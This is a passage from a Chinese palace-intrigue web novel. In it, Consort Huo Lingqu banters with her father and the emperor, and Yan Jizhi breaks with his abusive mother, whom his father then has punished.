霍灵渠手托腮念念:“以前下雨天,他出门要我哄的,我要哄得他舒服了高兴了才能哄到他愿意去衙门,现在没人哄他,他生母这两日肯定又在府里闹个没完,他心情差,会冒雨出门才怪,他今早肯定没去衙门还在家里,所以我才说让你去英王府找他。” “知道晏霁之什么品性吗?你很像在污蔑他。”霍漓江还是相信自己的眼力。 “什么品性啊,高雅风流矜傲清贵,没错,他在人前是这么个品性,但他在人前这样的品性不就对应他在人后极其挑剔么。”霍灵渠陈述个事实:“我照料他的生活起居很多年了,我才是对他了解得最完整的人。”言外意,爹爹你就不用跟我争了。 “怎么个挑剔法呀,下雨天要人哄才肯出门?”霍漓江嘲笑闺女诬赖得太粗糙。 霍灵渠坐坐端正列举示范:“我昨夜没睡好,一定是你没把我的被窝铺好,故意想害我睡不好;这橘子皮这么多凹凹凸凸的小疙瘩,你不知道把橘子皮剥掉再拿给我吗,你存心想碍我眼是吧;这酒根本不是三十年陈酿,还差七天,你故意糊弄我呢你?!” “……这也不算挑剔吧。”霍漓江比较能感同身受地理解:“他的要求很合理啊,他祖父祖母千娇百宠地娇惯着他长大的,这样的德行很正常。” “这还不算挑剔吗?”霍灵渠愤而谴责她爹:“你待会儿见到他,他若是精神不大好,他没睡好,他没准儿又能怪到我头上来,怪我不在,没人给他铺被窝才害他没睡好,反正他一有不舒服就要怪我,什么都是我的错!我每年对他都要忍无可忍的!” “好好好——”霍漓江投降:“爹回头跟英王求证下,若是这混球当真——” “你找英王有什么用,英王又不清楚的。”霍灵渠否决,霍漓江真不是不想相信闺女,是这态度实在让他信不了啊:“哦,人家亲爹都不知道,你知道啊?” “当然啦,英王又不照顾他的生活起居,英王能知道他私底下有什么坏脾气臭毛病,我才在照料他的生活起居,他的臭德行坏脾气全都是扔给我的,我还能不知道吗?” 霍灵渠真想嫌她爹迷糊,霍漓江妥协道:“行吧行吧,就看这混球今天在不在英王府,若是被你猜中了他没去工部衙门,算你没污蔑他,爹就帮你教训他。” “教训?”霍灵渠奇怪:“爹爹你教训他做什么呀,为什么要教训他?” “不是丫头你对他忍无可忍了,想让爹爹去教训他吗?”霍漓江打量女儿,总不至于闺女忍无可忍之后都没想反击吧?果然,他的担忧应验了,霍灵渠说:“没有啊,我只是表达一下我在英王府时每年都会对他忍无可忍,我没有要爹爹你去教训他呀。” “何况你若去教训他,他反过头来肯定要欺负我,这不成我自己给自己找罪受了吗?”霍灵渠想想就忧伤:“我能那么想不开吗?我忍不了都不能那么想不开啊。” 霍漓江没眼看:“你对他都忍无可忍了还能接着忍,要不要这么窝囊啊?” “除了他那些挑剔的臭毛病,他对我还是挺好的,两厢抵消了吧。”霍灵渠实在道:“何况每每我对他忍无可忍时我都调整好心态了,我现在对他又没在忍,我现在对他感激居多,要不是他,我和桑柔就要报错仇冤杀无辜的人放过真正的仇人了。” “都忍无可忍了,你还能怎么调整?”当爹的问,闻言,霍灵渠小脸嬉笑,美眸亮晶晶像抓到蜜糖的小松鼠:“我就对自己说,就当在养儿子吧,反正我又不跟他过一辈子。” 霍漓江:“……”他怎么看是怎么看怎么窝囊呢:“你爹我消受不起个这么大的孙子啊,你跟他什么关系,你怎么想才能想到把他当儿子养,我闺女怎么就这么有才?” 霍灵渠哀怨:“这不是没办法么,我总得先让自己心里好受是吧。” “爹看你就是窝囊!”霍漓江数落:“被欺负到家了竟然也还能忍?!” “爹爹你不懂,算了,不说这个了。”霍灵渠说正事道:“就是陛下的密报,大哥昨天默出来给我看了,爹爹你也知道了吧,密报显示,庄太妃和朱太妃很熟稔。 若是朱太妃只因她不能生就要残害皇嗣,四姐姐的死会否跟朱太妃也有关系?毕竟,晏家和朱家有过节的,何况朱太后生前对晏贵妃那么不喜,他们两家结的怨不少了。” 是件正事,霍漓江还是有意见:“大雨天的,你就知道心疼情郎,不传召他进宫,非得反而让你爹去跑这一趟,你心疼你爹吗?你拿镜子照照看你现在都成什么德行了。” 霍灵渠反驳:“我没有心疼他啊,是我请他进宫,他不会理我。”此言既出,惹得霍漓江更不满:“那这么个对你爱答不理的混球,你还非得往前凑?” “有正事嘛,事关四姐姐是否被害的大事,而且,而且……”霍灵渠微微倾身悄声道:“爹,家里要不要查查姑母第一胎生的女儿是否也是被朱家暗害而亡?我跟姑母提了,姑母跟我说跟朱家没关系,但爹爹你不总嫌姑母不够聪慧么,我就想……” “想让家里再查遍是吧。”霍漓江赞道:“对了,你姑母不长脑的,灵渠在宫里要谨记,小事随你姑母,遇大事,要么你自己拿主意要么拿回家商量,别搭理你姑母。” “爹爹呀你和姑母是龙凤胎,姑母没你聪慧可能也有在娘胎里时你抢占得多了之故。”霍灵渠温言规劝:“或许你得担点责任的,你也不要总是嫌姑母嘛。” “知道了,爹知道了。”霍漓江敷衍地摆摆手,霍灵渠一看就知道她爹又当耳边风了,心里叹气,面上展笑道:“行吧,爹爹你就出宫去跟霁之说吧。” 霍漓江老神在在坐定:“爹冒着雨帮你跑腿,有什么好处?” 霍灵渠瞟瞟父亲,站起来,从博古架上抱个雕花木匣过来,打开木匣,一匣锃亮锃亮的铜板映入眼帘,霍漓江看得险些没捂脸,霍灵渠数出八个铜板给老爹做跑腿费。 “你什么时候藏的,你藏着这么一匣铜板想干啥?”霍漓江重声训诫:“你祖父好歹是数金元宝的,你怎么就不知道拿金元宝来数,家里没金元宝了还是怎么的?” “祖父骂你们什么来着,霍秦川霍漓江你们两个败家玩意儿,不把铜板当钱看,想让咱家小宝贝喝西北风啊?!”霍灵渠反批判:“谁说祖父不数铜板,你眼里看得到铜板吗?祖父捡到两枚铜板能高兴,你呢,你连弯个腰捡一下都懒得捡。” “你爹我要是去捡铜板才让人笑掉大牙,爹爹我自己都会受不了自己,你说你随你祖父什么不好偏偏这寒碜德行随你祖父。”霍漓江糟心啊:“赶紧让爹洗洗眼睛。” “哼!!”霍灵渠重重冲她爹哼声,同样嫌她爹这臭德行,但还是把手腕的血玉镯取下,照着地砖重重摔下砸碎,提醒道:“这是姑母送给我的,你跟姑母解释清楚。” 霍漓江缓和点:“我闺女该什么样啊,你不能数着铜板就高兴是吧。” “败家玩意儿!”霍灵渠偏要数铜板,数过几十枚铜板后乐起来,铃铛般的笑声四溢。 霍漓江捧着茶盅喝茶,看女儿纯真的笑,失笑摇摇头,刚想问数铜板就这么高兴啊,看见皇帝进殿来,要站起行礼时被皇帝制住,正徽帝嬴忱璧踏着悦耳笑音走到圆桌前看贵妃,看清楚贵妃因何如此高兴时,他脸上的笑意褪尽:“贵妃在数铜板?” “嗯?”霍灵渠抬头撞见皇帝,站起来给皇帝请安,霍漓江随即给皇帝行礼,刚刚轻快愉悦的氛围急转直下,嬴忱璧抄起几枚铜板掂掂又随手抛撒在桌上。 “贵妃可知霍家将佟氏娘仨的用具器物当得多少银两吗?是四十万两。” 霍灵渠讶然:“啊,才四十万两呀。”她看向她爹求证,霍漓江转过头。 嬴忱璧对才字不太理解:“贵妃莫非觉得这四十万两还少了吗?” “难道不少吗?他们二十年累积下来的家底呀,我还以为至少有个百万贯,我想花钱时一天就能用掉上万两。”霍灵渠怀疑:“是我以前过得太挥金如土了吗?” 嬴忱璧怪异地看向国舅,霍漓江交代:“贵妃,给陛下洗洗眼睛,陛下误会了。” “啊?哦,好。”霍灵渠愣下明白过来,走到多宝格前拿件名贵的翡翠摆件照着地砖重重砸下摔碎,她再走到皇帝面前询问:“陛下看懂了吗?还要我给你解释吗?” “……”嬴忱璧选择问贵妃她爹,霍漓江笑道:“陛下,家父用银两不含糊,但平日里他若白捡到枚铜板也会高兴,贵妃在钱财上自小随她祖父,不管是金元宝银元宝还是铜板,贵妃数着钱就能高兴,臣看着嫌寒碜,故教贵妃砸些珍品洗洗眼睛。” “这样啊。”皇帝真以为贵妃在霍家受苦了,数铜板都那么高兴真怪让人起疑。 “贵妃数铜板都那么高兴吗?”皇帝嬴忱璧莫名有点心有余悸,霍灵渠嫌他:“数钱还不高兴啊,我祖父说了,不爱财的九成九都是假清高、虚伪。”想想又谏言:“陛下看我爹,我爹就不把铜板当钱,你可不能也不把铜板当钱,要不然国库会损失好多钱的。” 嬴忱璧涌起股发自内心的愉悦:“朕知道了,一定谨记贵妃教诲。” 霍漓江识趣告退,霍灵渠目送爹爹走远直至消失在眼底,看眼皇帝,她还是接着数她的铜板吧,好歹能让自己高兴。嬴忱璧自然落座陪在侧看贵妃数铜板,忽然想明白,贵妃会把一文钱的价值看在眼里契合她的心性,否则她如何能颠沛十多年仍未改初心。 看着贵妃数过几十枚铜板后乐起来,纯粹的自得其乐,皇帝也被感染地笑了。 原来快乐如此简单。 111. 第111章 假若雨有味道,落在长春宫偏殿的雨是甜的,落在英王府蔚然居的雨想必是涩的吧。 丫鬟禀告兴献侯至,晏霁之仍似未闻般靠在窗边的美人榻里闭目养神,霍漓江进屋来,扫视眼混球后自顾自走到桌前坐下,桌上放着两封信笺,他瞥眼混球后拿起信拆封。 一封是佟家的线报,限住到期后佟老头要带家眷搬来晏家,打定主意要死赖在晏家了。一封是晋王府的线报,只要佟梦娴送霍贵妃病场,晋王府就搭救她回佟家。 “这封落款晋王府的线报真是晋王府的?”霍漓江存疑,晏霁之闭目喃喃:“不是,是庄太妃埋在魏王府的眼线向魏王建议未被采纳后越过魏王向魏王埋在英王府的眼线下的令,这名眼线又机智地把谋划推给晋王府,故而绕一圈又绕回原点了。” 霍漓江怀疑:“庄太妃好歹是个聪明人,她埋在魏王府的眼线能这么不长脑?” “是任逍,魏王的亲表妹。”晏霁之缓缓睁眸看窗外大雨滂沱,霍漓江了然,调侃他:“你这半死不活的死样是英王妃想害你的前宠妾呢还是不愿意接待你外祖家啊?” “没有英王妃了,前天夜里,王爷下令府中今后对她称佟太太,送给她的这封密信是在她收到前截获的,而今岚瑟居没有英王首肯连一个字都传不进她耳中。” 晏霁之漠然眨个眼,眼底如潭死水古井无波:“至于佟图匡的打算?明日,我会让他和佟卓伦兄妹以及佟家能管事的全都病场,病到佟梦骜回京来主事,他们的搬家事宜就由我派在佟家的暗桩做主,再让能自赎的奴婢近几日全都自赎离开佟家。” “佟家目前有小两百的奴婢吧?”霍漓江提议:“你还是让佟家原有的奴婢都走,只留刚从霍家和晏家回去佟家那两批,佟老头不得安生能给你省事不少。” “只给佟家留下刚从霍家和晏家回去佟家的那两批奴婢,佟家得失窃吧?”晏霁之猜,霍漓江讥讽:“不管佟老头清不清楚是这群奴婢偷盗,他病好后都会报官告自赎走的奴婢,还想来死赖晏家,还自认他能赖死在晏家,他不把人恶心透顶还能罢休吗?” “既如此?”晏霁之弯弯唇惹出丝笑意:“我让暗桩把佟家的家当托镖送去给佟梦骜、佟梦从和佟梦佶吧,咱们都厌恶那群奴婢厌恶得够了,何必再便宜他们。” “能送走你就全送走吧。”霍漓江笑得蔫坏:“半个月,花销个几千两足够了。” “傍身的银两他必会自己贴身收着,送不走,但佟图匡应该真的能同意把老妻和儿媳妇们的嫁妆全都送去给佟梦骜兄弟保管。”晏霁之思量过,笑问:“您找我何事?” “我来之前去过趟工部衙门。”霍漓江不爽:“你个混球你还真在家里躲雨啊你。” 晏霁之霍然有感沁人心脾的舒悦:“看来您从宫里来,还和女儿打赌赌输了。” 霍漓江追究:“你不是真矫情到下个雨就要人哄才肯出门吧?” “不是,是我想让她取悦我,她哄哄我能让我高兴。”晏霁之唇畔溢笑而眼底黯然。 “我曾问过灵渠,你和她在北境的少年郎若都想和她纠缠,她能扛得住吗?”沉默下,霍漓江说:“我女儿的答案是她拗不过你,但她能拒绝北境的少年郎、她的六哥哥。” “三月底,你们私会,我未曾因此就特意找你谈,我原本觉得没必要,现下想想,我还真不知道是否该和你谈谈?”霍漓江拎只圆凳坐到窗前美人榻旁,正色道:“我不想让女儿再经受她父母的苦,故,灵渠自小我就教她,不必把外人对灵渠的好放在心上。 我自己的女儿我很清楚,任何男人想通过对灵渠好来打动她是不可能的,灵渠不懂男女情爱,她会愿意喜欢北境的少年郎是他们玩得高兴,她对喜欢的理解就是两个人玩得高兴,跟小孩过家家没什么不同,但你清楚灵渠是如何忍耐你的挑剔劲儿的吧?” “就当在养儿子吧。”晏霁之被迫敏感:“莫非您还觉得我歪打正着了吗?” “灵渠她已经是皇帝的贵妃,但她的心似乎还停留在她做流光姨娘时,她至今都毫不怀疑你能欺负得了她。”霍漓江没有任何把握但真的有丝担忧:“我刻骨铭心的爱过不代表我就能懂所有爱情萌生的情况,况且我也没看出来我女儿对你有男女情愫。 但疼爱儿女的家长能对孩儿有多纵容迁就,你懂得吧,倘若她这些年都是这样的心思,且不论她会多在意你,你想藕断丝连而她清楚后果有多严重都拒绝不了就很正常了,她被你养得已经没有拒绝你的能力了,倘若你一直纠缠她,我是真估不出将来了。” 晏霁之端坐起来,认真注视甚至是审视霍漓江会儿,不避讳地直剖心意:“霍叔,倘若灵渠的母亲当年曾被人硬生生地从你身边抢走,即使此人是皇帝,你能认吗?” 霍漓江表示:“我现在是个父亲,你总明白一个老父亲的心吧?” “您不老。”晏霁之苦中作乐地揶揄,霍漓江正经道:“不用跟我油嘴滑舌,我能体谅你但我不可能同意你纠缠我女儿,我女儿不爱你,她在皇宫里能活得好,她也能慢慢忘掉你,只要你不再纠缠她。你更不是没有灵渠就活不了了,何苦呢?放下吧。” “是啊,何苦呢?”晏霁之单膝屈起,右手臂搁在屈起的膝盖上,失落低头,神情若有悲凉自嘲,掩不住的是心底的涩:“她曾问我为何愿意买下她,我一直不觉得这是个问题,就是件理所应当的事,直到我惊觉皇帝有意册封她做贵妃。 我更不认为想让她再回到我身边是个问题,我意识到我喜欢她,皇帝硬生生将她抢走,我想让她回来再顺理成章不过,直到我在通县疗养,我意识到自己的可笑,喜欢而已,又不是没有她就不能活了,何必因此就冒着大风险去挑衅皇帝?” “除非,不只是喜欢。”晏霁之抬头,双眼已通红:“除非是没了她我的生命再无乐趣、红尘再多繁华对我都只是荒芜、我只剩麻木活着,否则何至于,您说对吗?” 霍漓江突然想问:“倘若你的挚爱因皇家而被迫自尽,你能为了至亲忍住报仇吗?” “不能!”晏霁之不假思索脱口而出:“我的挚爱倘若因皇家被迫自尽,哪怕涉及皇帝,哪怕要筹谋十年二十年三十年,不论筹谋多久,我都要他们血债血偿。” 沉默片刻,霍漓江道明来意:“就是陛下的密报,海啸默出来给妹妹看,灵渠察觉庄太妃和朱太妃似乎很熟稔,我女儿怀疑温献皇后的四公主之死或许还和朱家有关。” 晏霁之愣下,眼眸逐渐聚焦:“朱家?” 他陡然迸出恨意,只觉浑身的血都在激荡:“若是庄太妃甚是清楚朱家在后宫的动向,她们常年协作互惠,我姑母生的第三胎没满月就夭折会否也不正常?” “应该不至于。”霍漓江忖度:“温献皇后生前,她们的手应该伸不了那么长。” “我表姐当年可是养在当时的霍德妃膝下时病逝的。”晏霁之眼猩红,情绪异常激烈,霍漓江安抚:“霍宝鸾她不长脑,”即被晏霁之打断:“那霍家呢,霍家能不把霍德妃的住处护得固若金汤吗?何况我们家也看顾着,可我表姐还是病逝了。” 霍漓江神情微变,晏霁之越想越发觉此事值得推敲:“晏贵妃乃圣人心爱之人,晏贵妃活着太碍着他们,所以他们要我姑母死,可他们没法直接对我姑母出手,但害死个小婴儿,生生逼得我姑母心血耗尽油尽灯枯,他们当然能做到神不知鬼不觉。” “这两位眼下应该又在合作了,在魏王府。”霍漓江拍拍他的肩膀,站起来走了。 “霍叔!”晏霁之喊住他,感怀道:“你是个好父亲,你给了你女儿最幸福快乐的成长。”他扪心自问:“倘若我在你的处境,我养不出那么豁达乐观的女儿,谢谢你。” 霍漓江站住,沉静会儿后仍背对年轻人,扬起手臂冲背后摆摆手,没说话,走了。 晏霁之从美人榻里起来,换身锦袍,撑伞出门,出府,进皇宫去找正徽帝。 大雨降至日暮堪停,雨过天晴后的天空格外澄澈,泥土地里飘零的嫩树叶儿绿如油,沉睡已久的虫鸣蝉叫更似被这场雨唤醒,刚入夜,草丛间已隐约有嘈杂声响在叫嚣。 岚瑟居送来的佟太太要见世子的禀报一如既往频繁,亥时正又送来个禀告,晏霁之望着琉璃灯盏的迷彩灯辉正视自省半响,不再拖着,去岚瑟居做个决断。 踏进岚瑟居,细微的摔砸声传来,循声来到烛火明亮的廊前,刺耳的杂音不间断响着,晏霁之看向在廊前的婢女,婢女低头说:“除了累极睡下,佟太太就是在砸东西。” “嗯,”晏霁之举步进屋,在门槛前注视两息时间在屋里摔砸发飙的女人,他往前走,走到相距七八步的位置,以最大的愿好唤出那声久违的:“娘?” “嘭!!” 两日来,自被晏墉当囚犯关着后,佟梦娴的怒就没稍减过,这孽障滚来了,她想都没想地抄着手里的东西转身冲着这孽障就砸过去,破口大骂:“畜生!你还知道要来见亲娘吗,早知道你真就是个畜生不如的狗东西,你生下来时老娘就该把你掐死!” 晏霁之眼神发怔像被砸呆住了,受到刺激才醒神,猛地抬眼直直盯着眼前的人。 “怎么,老娘还骂错你了?!要不是留着你还有点用处,老娘就该打死你这个畜生!”佟梦娴被盯得有点害怕,旋即又爆发出更猛烈的气势反压:“现在你就给我去办! 现在、立刻你就滚去让你爹把禁足令给我解了,再去佟家给你外祖父外祖母保证,你会给妙兮拿到淑妃位,再给娘拿十万两银票来,再送十万两银票去给你外祖家,还有那个什么乱七八糟的断亲都给我收回去,明天,就让霍家接你二姨娘仨回霍家。” 晏霁之仿若未闻,神情痴痴得像在魂游天外又像是傻了般。 佟梦娴叫嚣好几遍没得到回应,又抄起东西砸,晏霁之额头被砸破皮,淙淙鲜血淌下,淌过眼帘,他愣愣凝视会儿,终于像找回神识,聚起精气神看向佟梦娴。 “砸你怎么了,”佟梦娴被盯得瑟缩下又暴怒起来:“你个畜生,老娘打死你都是该的,砸你都是最轻的,你再敢不听话,有的是你苦头吃,娘的命令,听到没有?” 晏霁之取出绢帕擦擦脸,注视着眼前的人,神情淡到极致偏泛滥着一种彻底的割裂感:“佟梦娴,在这个人世间,我不管你的死活,谁还会在意你的生死。” 放下话,放下对生母所有的期许,晏霁之大步往外走,佟梦娴愣下,刚冒出种像是要失去儿子的恐慌就被愤怒淹没,立刻让这畜生回来,谁允许他走了吗?! 这畜生敢不听,佟梦娴狂怒地亲自去追,追到门槛前,撞见伫立在门前挡着路的丈夫,她心里发毛地往后退,刚还怒不可遏的狂暴犹如鸭子被掐住脖子般就弱了大半。 英王晏墉闲庭信步似的迈进屋,语调悠扬:“你知道我有多厌恶你吧,打从我不在岚瑟居留宿,十多年来你知道我有多厌恶你吧,我厌恶得真是一想到你就犯恶心啊。 十八年,我忍了你十八年,我都数不清我有过多少回忍无可忍还得强逼着自己接着忍,我是真的忍你忍到作呕反胃吐出来过啊,十八年,你知道我因何这般委屈自己吧,好在,你总算没让我失望,我忍耐十八年总算没白费,儿子总算不愿意再管你了。” 佟梦娴不自觉地眼泛惊悚,下意识寻找儿子的身影,晏霁之就在廊前,察觉到被注视,他没回头地往前走。四个泥塑似的老妪随后进屋,候在王爷身后等着接命令,佟梦娴太懂得这几个老妪是做什么的,害怕疯狂飙涨:“我我我……孽障,畜生,你快给——” 晏墉嫌呱噪:“你再嚷嚷,你今夜就暴毙吧,明早我给你治丧。” 佟梦娴顿时像被灌下哑药般戛然禁声,心咚咚咚狂跳,脑子里乱得像浆糊,晏墉恨道:“你知道我有多想十七年前就让你死吗,你以为我为何让你活到今天?! 你生下的儿子太聪慧,比他的曾祖父都不逊色,晏家不能舍掉这样聪慧的小辈,我更不能让这个儿子因他的生母就仇视我仇视家族,你不配啊,你怎么能配让霁儿仇视我仇视晏家,所以我忍,在儿子看清楚你是个什么货色之前,我拼着命压抑让你暴毙的冲动。” “这一忍就是十七年,十七年!你知道十七年是多少个日夜,忍十七年有多煎熬吗?”晏墉浑似想将心底积压的痛恨在这刻全部倒出来:“我知道我今夜有多痛快吗,我终于忍到你作死到你的亲儿子都对你死心了,你总算没辜负我忍你十七八年。” “我我我……”佟梦娴慌乱恐惧地连说话都哆嗦更不知该说些什么,晏墉发自肺腑道:“你尽管放心,你不会那么快死,我不会让你轻易就死的,我忍了你将近二十年啊,你若是轻易死了,怎么对得起我忍你那么多年,我自己都会觉得对不住我自己啊。 但你将来下到阴曹地府,你要记住是你爹娘害死你的,不是他们根本不把女儿当人看、不是他们阴狠毒辣就想到把姻亲当做踏脚石,何至于把你害到这般境地;你原本可以做个贤妻良母可以有丈夫礼重有儿子敬爱,可你父母偏偏要把你毁掉。 佟家算个什么玩意儿,你又能算个什么货色,霁儿是你和整个佟家的保命符,你非要把霁儿往死里逼,自己把自己的保命符掀掉,你还能有命活吗?所以记住,是你爹娘害得你连一丝一毫的为母心肠都没有才把你给害死了,是你爹娘害死你的,记住没有?” “我我我……霁儿——” “动手吧。” 佟梦娴惊恐到极点后爆发出触底反弹的勇气狂喊霁儿,她喊过霁儿,晏墉轻飘飘下令,四名老妪走向这位以前作威作福的王妃,佟梦娴瞬间觉得迎面走来四只食人恶魔。 夜漆黑,夜还很长。 破晓是黑暗至深处开出的向往,当黎明的曙光降落人间,又是新日朝气蓬勃时。 清晨,悉闻皇帝銮驾前往太微宫,晏霁之又熬过两刻钟后跑皇宫找霍贵妃。 霍灵渠捧着书卷在庭前看书,眼底映入道身影,她抬头看他,愣了下,发现他额头真被划破皮时惊住,想察验他的伤势又克制住:“是、是英王妃伤了你?” 晏霁之颔首应嗯,霍灵渠又连忙要去找皇太后姑母要最好的金疮药和祛疤膏药,晏霁之拦住说不必,她只好宽慰男人:“这种小伤口不会留疤的,放心吧。” “臣知道,烦请贵妃给臣拿两只香炉来。”晏霁之自顾往殿内走去,霍灵渠想殿内就一只香炉便吩咐婢女去取只香炉来,她没进屋,就在院中候着,宫人们把香炉取来,又备来新鲜的茶点瓜果,她令宫人们都退下,再捧起书卷往殿里走去。 进殿,闭合殿门,看见晏霁之在窗台前烧香木,霍灵渠奇怪:“你做什么呢?” 晏霁之未语,将两段香木处理好放进香炉中,把一只香炉拿到另一处窗台摆置,他再去倒杯茶水递给霍灵渠,对她耳语:“这香木燃烧后,方圆三丈内,闻者晕眩昏睡。 这茶里我已经放解药了,喝了。此前我没担心过在长春宫还会隔墙有耳,但近来我发现霍家在皇宫里的威慑真的有点问题,唯恐有暗钉过来窥测,不得不防。” “哦,”霍灵渠放下书卷,接过茶杯饮下:“皇帝的耳目还真有点无孔不入,前天皇帝给你们看的密报必定是她们确定安全时才会交谈,竟然都能被皇帝的耳目窥伺到。” “站在皇帝的立场,我能理解,更认同他的掌控,皇帝要把皇宫握在掌中是应当的。”晏霁之走到紫檀木罗汉床前落座,低头沉闷:“皇帝的密报,我注意到了鞠太妃,竟然都没注意到庄太妃和朱太妃熟稔得不寻常,我表姐病逝还可能与朱家有关。” “那份密报隐含的讯息太多,会有遗漏很正常。”霍灵渠走到他身侧,靠在他怀里呢喃:“我向姑母要四姐姐生前伺候她的宫人名单时我姑母还唏嘘可怜四姐姐早亡。 我都不敢跟姑母说实话,我姑母的性子,对此不可能隐忍,她未必多疼爱四姐姐,但人养在她的膝下被害就是对她的挑衅,姑母绝不会忍,我怕打草惊蛇,就没告诉姑母。” “嗯…”晏霁之闭眼埋首在女人怀里,拥住她才感觉到有了点慰藉:“三天前,在大理寺衙门前,你可知佟老太太他们何以能跟群围观的路人吵起来吗?” “是你在从中作梗?”霍灵渠讶然,晏霁之应:“嗯,我派了十名暗卫混在人群中,每个暗卫都带着香囊,香囊里装有令人暴躁易怒的香料,药效是一个时辰。” “你可以不告诉我的。”霍灵渠抬手抚抚他,晏霁之随心道:“我想告诉你。” 霍灵渠怀抱住他轻柔抚慰,晏霁之眷恋会儿挺起背脊,两人四目相对间,他尚未言语,霍灵渠手抚过他的眼眸,似有关怀意:“你昨夜是不是通宵未眠,眼底都是乌青。” 晏霁之差点眼酸,握住女人的柔荑包裹住她的纤手,追忆道:“我想错了件事,前世,佟梦娴病逝不是因她娘家覆灭受不住打击而病逝,是晏墉让她病逝。” “你怎会突然这么想?”霍灵渠信的,英王恐怕早有想让佟梦娴病逝的心。 “三天前,佟梦如曾曝料,佟梦娴被佟图匡打了一巴掌就质问亲爹是否还拿她当女儿,一个连被父亲打个巴掌都受不住的女儿可能会因为娘家被诛灭而病重到病殁吗?” 晏霁之言之凿凿:“绝对不会,她会悲痛难过,但更多的可能反而是惶恐,更不要说受不住打击随娘家人离世,她只会在悲痛过后照旧过她的日子,但是晏墉,我父亲已经不愿意再让她活着了,故而晏墉用最恰当的缘由让她病殁了。” “惶恐?”霍灵渠不甚理解,晏霁之答:“娘家没了,她在晏家得矮一截了。” “你爹能愿意让你奉养她到寿终正寝吗?”霍灵渠抬手抚男人的脸颊,仿佛带着治愈人心的强大力量:“或许很多人觉得她明年就会病逝,但我知道你不会让她死。 哪怕她想害死你,你都会顾念你的出生,在英王要让她死时保住她,但我想说再为她和英王起冲突不值得,你和英王若是谈不拢,我来帮你和英王谈吧。” 但我知道!简简单单几个字仿佛能牵动他心底最柔软最苦痛处,晏霁之克制着眼底酸涩克制着几乎要流露的脆弱调侃:“我在你眼中就这般悲天悯人吗?” “你若能袖手旁观,在你祖父生前或者在你祖母生前,佟梦娴就已经死了。” 霍灵渠肯定道:“对生母死心,你都能耗二十年,何况看着她死?你的心很软,要不然哪能纵得她越来越气焰嚣张,若是换作我爹或者我大哥,她十年前就坟头长草了,我们霍家人都很能狠下心,你比我们心软很多,无论如何,你都不会看着她死的。” “我几时明确告诉你:我对生母死心了?”晏霁之吹毛求疵,霍灵渠歪歪脑袋倚他怀里不想理会他的挑刺,在他衣襟处发现根头发丝,霍灵渠新奇了,仰头看他。 晏霁之浑然未觉,没得到女人的抬杠,自己认道:“对,昨夜我对生母死心了。昨夜我反思很久,三天前在大理寺衙门前,多少人觉得我肯定对生母死心了,可我竟然还有侥幸,昨夜在我见她之前都还有侥幸,或许我不是悲天悯人,是蠢吧。” “还有不自爱吧?”霍灵渠举着他掉的头发丝在他眼前扬扬,尽量忍住取笑意味:“你掉头发了,还连头发落在衣襟处都没注意,这还是晏霁之吗? 以前你私底下都不可能容忍这种有损你贵公子仪态的情况,今日你居然还能堂而皇之地出现在人前,试问你最近过得是有多颓丧啊,这就是你所谓的你很自爱?” “是你的。”晏霁之端着跟她划清的俊脸不容置喙地表示,霍灵渠淡定:“我不掉头发,我再谢谢你,毕竟你说的不是:是你的错,都怪你不在害我夜里睡不好才害我掉头发了,我再奉劝你别委屈自己,保持心情愉悦,让丫鬟给你炖几盅补品补补吧。” “可你不在,我如何还能心情愉悦得起来?”晏霁之忽然泄气,不想再和自己抵抗了,霍灵渠被吓跳,忽然觉得这事有点沉重:“和你生母没关系吗?” “傻瓜。”晏霁之闭目拥住她,霍灵渠心里有丝沉甸,凝视着手中的头发丝,手一松,头发落在她的衣裙上,她又注视眼后看向晏霁之,手抚过他眼底乌青,想他昨夜通宵未眠,想他的难受,她真的不该拿他的痛苦来取笑他。 晏霁之睁眼,撞进女人关怀担忧歉意浮动的盈盈剪瞳,压抑的渴望冲过理智,他低头,曾经的熟悉剧烈碰撞刺激着彼此,霍灵渠若回到流光小筑时般自然闭眼,两人双唇相触时犹如被闪电击中般彼此四肢百骸尽酥麻,晏霁之猛然抬头撤离,找茶壶灌水冷静。 霍灵渠看看他,默默抿抿唇,伸手从果盘里抓只水蜜桃啃。 “我也没有你以为的那么心软。”晏霁之连灌两杯茶水,降降燥热,立刻抱着她谈正事省得再犯糊涂:“我会再见她一面,让她自己选,是留在晏家还是回归佟家。 今早,我爹让她烧水做饭洗衣裳打扫屋舍,让她自己照料自己,前两日,父亲给她更换膳食让她吃素,她都受不住,我想,待我再见她时她的选择应该没悬念。” 霍灵渠仿若未闻般自顾自啃着水蜜桃,吃完桃子,执茶壶倒茶,慢悠悠喝茶。 晏霁之见不得这女人这么惬意地抢过茶杯放在小几上,霍灵渠轻轻摇头表态:“不过是几个月或半年光景而已,倘若佟梦娴能活到六十岁活到六十多岁,她还有十几二十年,堪堪几月而已,她就不相信你还会愿意 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“我知道,你不是被她砸伤才彻底死心,是你想明白才死心。”霍灵渠都替他觉得悲凉:“倘若佟梦娴回到佟家后过得比在晏家时还不如,她定会想要再回晏家,她会把她的选择,把她宁可不要儿子都要离开晏家的选择当作全然不存在。 你会死心是你想明白了,不是佟家把佟梦娴教唆得不会疼爱亲生的骨肉,不是被教唆,是佟梦娴本身就没有疼爱儿女的心肠,她永远都生不出疼爱孩儿的心,甚至于她也没有她表现得那般在意佟家,你想明白了,所以你死心了。” “挺好的。”片刻后,晏霁之淡淡噙笑,眉目间饱含千帆过尽后的释然:“二十多年来,晏家对她听之任之,从来没让她在晏家受过苦遭过罪,挺好的。 正如你对佟振羽兄妹的态度,娇生惯养没受过委屈好啊,你庆幸他们在今年二月以前都没受过委屈,否则哪能看到他们的真心。我也庆幸,庆幸在昨夜以前,佟梦娴在晏家二十多年都活得很舒坦,否则我哪能彻悟、哪能看懂她的真心、看懂她的自私凉薄。 佟梦如点评得好,佟梦娴就是太闲了,闲得没事做才对娘家言听计从,但凡她忙起来,她会恨死佟家。只要她自己过得好,父母娘家和亲骨肉,她都可以舍弃;舍掉父母、娘家和孩儿若能让她过得好,她就能全部抛掉,她真正只在意她自己的利益得失。” 霍灵渠握住男人的手,晏霁之反宽慰:“我没事,过去了,我会让此事尽快过去。” “嗯。”霍灵渠似有疲惫似想安慰地倚在男人怀里伸手臂环抱他,晏霁之回抱住,两人安静相拥片刻,晏霁之取出昨日截获的魏王府眼线送进岚瑟居的纸条。 “任逍越过了魏王传令魏王埋在英王府的暗桩找佟梦娴交涉,只不过魏王这名眼线又伪装成是晋王府的人。庄太妃在皇宫里也下令了,越多人出手越有利于她隐藏,她让她的暗哨给皇帝的嫔妃都送了主意,我担心的是,杭婕妤和霍秀仪可能会上钩。 